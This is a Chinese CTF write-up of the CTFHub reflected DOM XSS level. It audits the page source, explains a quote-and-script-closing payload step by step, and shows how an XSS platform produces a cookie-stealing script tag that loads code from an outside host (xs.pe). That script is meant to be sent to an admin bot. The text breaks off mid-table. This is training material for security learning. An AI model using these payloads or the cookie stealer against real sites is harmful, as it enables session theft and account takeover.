目录
[(1) 文本输入功能](#(1) 文本输入功能)
[1、XSS DOM Reflect探测](#1、XSS DOM Reflect探测)
[3、Send URL to Bot](#3、Send URL to Bot)
本文详细讲解CTFHub的XSS-OM反射型关卡的渗透实战。首先通过代码审计发现前端使用innerHTML直接渲染用户输入,存在DOM型XSS注入风险。随后利用闭合构造payload成功弹窗,验证了XSS风险存在。接着使用XSS平台生成窃取Cookie的恶意脚本,通过反射型XSS获取管理员Cookie。最终在XSS平台接收端成功获取到包含flag的Cookie值,完成渗透测试。
-
首先通过代码审计发现前端使用innerHTML直接渲染用户输入,存在DOM型XSS注入风险
-
构造测试Payload:
';</script><script>alert(ljn)</script>验证XSS注入存在可行性 -
确认XSS注入风险存在后,在XSS平台生成专业的Cookie窃取脚本
-
将平台提供的恶意脚本嵌入到闭合Payload中,形成完整攻击代码
-
对完整Payload进行URL编码,生成可直接访问的恶意链接
-
通过关卡提供的Bot提交功能将恶意URL发送给管理员
-
管理员浏览器访问链接时触发XSS,自动执行Cookie窃取脚本
-
窃取脚本将document.cookie发送到XSS平台的接收端
-
在XSS平台管理界面实时查看收到的Cookie数据
-
从Cookie中提取flag值并提交,完成整个渗透测试流程
一、代码审计
1、源码分析
打开靶场,进入XSS-DOM反射型关卡,如下所示。

右键查看源代码,这是一个DOM型XSS注入挑战平台,用户通过GET参数提交文本内容,前端使用innerHTML直接渲染到页面而未做过滤,存在明显XSS注入风险。平台还提供Bot测试功能,可将构造的恶意URL提交给模拟浏览器验证攻击效果。具体如下所示。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CTFHub 技能学习 | XSS DOM Reflex
</title>
<link rel="stylesheet" href="/static/bootstrap.min.css">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script src="/static/jquery.min.js"></script>
<script src="/static/popper.min.js"></script>
<script src="/static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>
XSS DOM Reflex
</h1>
<hr>
<!-- Alert -->
<div id="alert">
<div id="success" class="alert alert-success" role="alert" style="display: none;"></div>
<div id="fail" class="alert alert-danger" role="alert" style="display: none;"></div>
</div>
<!-- Body -->
<div>
<form action="" method="GET">
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">CHange text</span>
</div>
<input type="text" class="form-control" placeholder="CTFHub is very niubility" name="text">
<div class="input-group-append">
<input type="submit" value="Submit" class="btn btn-success">
</div>
</div>
</form>
<!-- Output -->
<hr>
<div>
<h1>Hello, CTFHub
</h1>
<p id="text"></p>
<script>
$("#text")[0].innerHTML = 'CTFHub is very niubility';
</script>
</div>
<hr>
</div>
<!-- Submit -->
<div>
<h2>Send URL to Bot</h2>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">URL</span>
</div>
<input type="text" class="form-control" id="url" name="url">
<div class="input-group-append">
<input type="button" id="Send" value="Send" class="btn btn-success" onclick="send()">
</div>
<script>
function send() {
let url = $("#url").val()
$.ajax({
type: "post",
url: "/submit",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({
url: url
}),
success: function (d) {
if (d.code == -1) {
$("#fail").text(d.msg)
$("#fail").show();
setTimeout(function () {
$("#fail").hide();
}, 5000);
} else if (d.code == 0) {
$("#success").text(d.msg)
$("#success").show();
setTimeout(function () {
$("#success").hide();
}, 5000);
}
}
});
}
</script>
</div>
</div>
</div>
</div>
</body>
</html>
2、核心功能模块
本关卡提供DOM型XSS学习功能,包含文本输入和Bot测试两大模块。用户可通过表单提交文本内容实时查看页面渲染效果,并可将构造的恶意URL提交给模拟Bot进行攻击验证。系统通过AJAX异步通信反馈操作结果,完整演示了从攻击构造到效果验证的XSS学习流程。
(1) 文本输入功能
-
输入 :通过GET参数
text接收用户输入 -
处理 :使用jQuery的
innerHTML直接插入到DOM中 -
输出 :在页面
<p id="text">元素中显示用户输入的内容 -
风险:存在DOM型XSS,未对用户输入进行过滤
(2)Bot模拟测试功能
-
URL提交:用户可提交包含XSS payload的URL
-
异步发送 :通过AJAX POST请求到
/submit端点 -
状态反馈:使用彩色alert显示成功/失败消息
-
自动隐藏:5秒后自动隐藏反馈消息
3、构造闭合
Payload:';</script><script>alert("ljn")</script>
(1)分析原始代码
首先,我们看页面中关键的脆弱代码:
$("#text")[0].innerHTML = 'CTFHub is very niubility';
在这行代码中:
-
程序意图是将
id="text"的HTML元素的内容设置为一个字符串 :'CTFHub is very niubility'。 -
这个字符串是使用单引号(') 包裹的。
-
这个字符串的值本应是固定的,但程序实际上是从URL参数
text中动态获取的。
所以,当用户通过 ?text=xxx 传入参数时,代码实际上变成了:
$("#text")[0].innerHTML = '用户输入的xxx';
(2)Payload的逐步拆解
我们的Payload是:';</script><script>alert("ljn")</script>
我们把它代入到上面的代码中,看看发生了什么:
原始代码:$("#text")[0].innerHTML = '用户输入的xxx';
代入Payload后:$("#text")[0].innerHTML = '';</script><script>alert("ljn")</script>';
现在,我们来逐部分解析:
-
';
-
':这个单引号首先闭合 了原本开启的字符串'...'。 -
;:这个分号终止 了当前的JavaScript语句 (innerHTML = '';)。 -
至此,我们已经成功地"逃出"了字符串的束缚,并结束了一条合法的JavaScript语句。
-
-
</script>
-
这只是一个普通的HTML标签。在JavaScript解析器看来,它可能是无效的语法。
-
但它的关键作用在于:告诉浏览器"当前的脚本块到此结束"。
-
浏览器看到这个标签后,会认为前面的
<script>标签内的内容已经结束,并退出JavaScript解析模式,回到HTML解析模式。
-
-
<script>alert("ljn")</script>
-
现在浏览器处于HTML解析模式,它看到了一个新的
<script>标签。 -
于是,它会开启一个新的JavaScript解析上下文 ,并执行其中的代码:
alert("ljn")。 -
这是一个完整、合法且会被执行的脚本块。
-
-
最后的 '
-
在新脚本块结束后,源代码中还有一个孤零零的单引号
'。 -
此时浏览器已经在新脚本块中执行了我们的恶意代码。
-
这个多出来的单引号会导致语法错误,但为时已晚,我们的恶意代码已经执行完毕。这个错误通常会被浏览器静默处理,不影响攻击效果。
-
(3)可视化流程
整个DOM的变化可以理解为:
<script>
$("#text")[0].innerHTML = ''; // 原语句被提前闭合和终止
</script> // 关闭原有的脚本块
<script>alert("ljn")</script> //开启并执行新的恶意脚本块
'; // 剩余的无效代码,导致错误但无关紧要
综上这种闭合方式的原理在于:
-
语法闭合 :使用
'和;来正确闭合原有的js字符串和语句,避免语法错误提前终止脚本。 -
上下文切换:利用</script>标签强制结束当前的JavaScript执行环境,切换回HTML解析器。
-
重新注入:通过一个新的</script>标签,在一个"干净"的上下文环境中注入并执行任意JavaScript代码。
二、XSS平台
1、XSS平台简介
XSS 平台是一种专门用于跨站脚本攻击测试和安全研究的 Web 应用程序。它为安全研究人员和白帽子黑客提供模拟真实攻击的环境,用于演示和验证 Web 应用程序中可能存在的跨站脚本相关风险。平台核心功能包括生成并管理各种 XSS 攻击载荷(Payload)、自动收集受害者浏览器的敏感信息(如 Cookie、会话令牌、浏览器指纹等),并提供远程代码执行能力。该平台强调合法与授权使用,通常用于渗透测试、安全教学等场景,是 Web 安全领域重要的教育和研究工具。其主要组成部分如下所示。
(1)前端界面
-
攻击管理面板 - 创建、监控攻击活动
-
数据展示界面 - 实时显示收集的信息
-
Payload生成器 - 定制化攻击代码
(2)后端服务
-
数据接收端点 - 处理受害者发回的数据
-
Payload分发 - 动态生成恶意脚本
-
会话管理 - 维持攻击者控制会话
2、XSS平台使用
(1)注册账号
本文以https://xssaq.com/为例,讲解如何在渗透测试场景下使用XSS平台。

(2)登录账号
使用注册的账号登录,如下所示。

登录后效果如下所示,注意左侧菜单栏中的"创建项目"选项,这是我们会用到的功能。

(3)创建项目
点击左侧菜单栏中的"创建项目",随便起个名字"mooyuan",点击立即提交,如下所示。

在"我的的项目"点击刚才创建的项目"mooyuan",再点击右上角的查看配置源码,如下图所示。

此时网页弹框如下所示,我们需要在配置代码中选择自己要使用的脚本,这里我们选择第二个即可,如下所示(特别注意:每个人的payload各不相同)。
<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

二、DOM反射型渗透实战
1、XSS DOM Reflect探测
打开靶场,在关卡页面中寻找所有可能的用户输入点,在第一个输入框内尝试输入最简单的测试载荷<script>alert("ljn")</script>,并观察页面响应,但是弹框失败。
<script>alert("ljn")</script>

2、构造闭合
尝试构造闭合:**';</script><script>alert("ljn")</script>**进行渗透,利用了浏览器解析HTML和JavaScript的优先级:HTML解析优先于JavaScript执行,当遇到</script>标签时,浏览器会立即结束当前的脚本块,然后开始解析新的<script>标签。
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 原始:("#text")\[0\].innerHTML = '\<用户输入\>'; 注入后: \